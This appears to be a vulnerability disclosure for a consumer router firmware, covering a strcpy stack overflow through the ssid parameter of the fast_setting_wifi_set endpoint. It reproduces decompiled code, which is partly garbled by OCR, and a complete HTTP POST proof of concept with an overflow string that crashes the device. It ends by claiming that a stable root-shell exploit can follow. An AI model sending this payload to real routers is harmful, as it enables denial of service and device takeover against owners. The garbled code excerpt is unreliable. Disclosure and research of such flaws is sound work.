

软件升级

```
当前版本: V15.03.2.21_cn

升级类型: ○本地升级 ● 在线升级

当前版本为最新版本,不需要升级
```

The latest version is shown in the figure

Vulnerability details

```
sub_16B4C("GetWanNum", formGetWanNum);
       sub_FA80("aspGetWanNum", aspGetWanNum);
  14
 15
       sub_16B4C("getPortStatus", formGetPortStatus);
16
       sub_16B4C("GetSystemStatus", formGetSystemStatus);
• 17
       sub 16B4C("GetRouterStatus", formGetRouterStatus);
18
       sub_FA80("aspGetCharset", aspGetCharset);
19
       sub 16B4C("WizardHandle", fromWizardHandle);
0 20
       sub_16B4C("fast_setting_get", form_fast_setting_get);
       sub_16B4C("fast_setting_pppoe_get", form_fast_setting_pppoe_get);
sub_16B4C("fast_setting_wifi_set", form_fast_setting_wifi_set);
sub_16B4C("fast_setting_pppoe_set", form_fast_setting_pppoe_set);
sub_16B4C("getWanConnectStatus", formGetWanConnectStatus);
21
22
23
  24
   25
       sub_16B4C("getProduct", GetProduct);
       sub_16B4C("fast_setting_internet_set", form_fast_setting_internet_set);
   26
  27
       sub_16B4C("usb_get", form_usb_get);
  28
       v0 = sub_16B4C("SysToolpassword", SysToolpassword);
  29
       sub A2CCO(\vee0);
  30
       sub_16B4C("notNowUpgrade", formNotNowUpgrade);
          νΙΘ - υ,
   U/
   68
          v20 = 0:
         src = (char *)webgetvar(v3, "ssid", &unk C4C94);
   69
   70
    71
   72
            strcpy(&s, src);
   73
            strcpy(&dest, src);
   74
            v40 = (_BYTE *)webgetvar(v3, "wrlPassword", &unk_C4C94);
   75
            SetValue("wl2g.ssid0.ssid", &s);
   76
            sub 6169C(&dest, &v32);
            SetValue("wl5g.ssid0.ssid". &v32):
```

The program passes the content obtained by SSID parameter to SRC, and then copies SRC into S's stack through strcpy function. There is no size check, so there is a stack overflow vulnerability.

Vulnerability recurrence and POC

To reproduce the vulnerability, follow these steps:

- 1.Use fat to simulate firmware V15 03.2.21_ cn
- 2.Attack with the following POC attacks

POST /goform/fast_setting_wifi_set HTTP/1.1

Host: 192.168.11.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101

Firefox/96.0 Accept: */*

Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 1131

Origin: http://192.168.11.1

Connection: close

Referer: http://192.168.11.1/parental_control.html?random=0.16095210121969683&

Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcetv1qw

ssid=9c%3Afc%3Ae8%3A1a%3A33%3A80aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa





An error occurred during a connection to 192.168.0.1.

- · The site could be temporarily unavailable or too busy. Try again in a few moments.
- · If you are unable to load any pages, check your computer's network connection.
- If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access
 the Web.

Try Again

The picture shows the effect of POC attack

Finally, you can write exp, which can achieve a very stable effect of getting the root shell

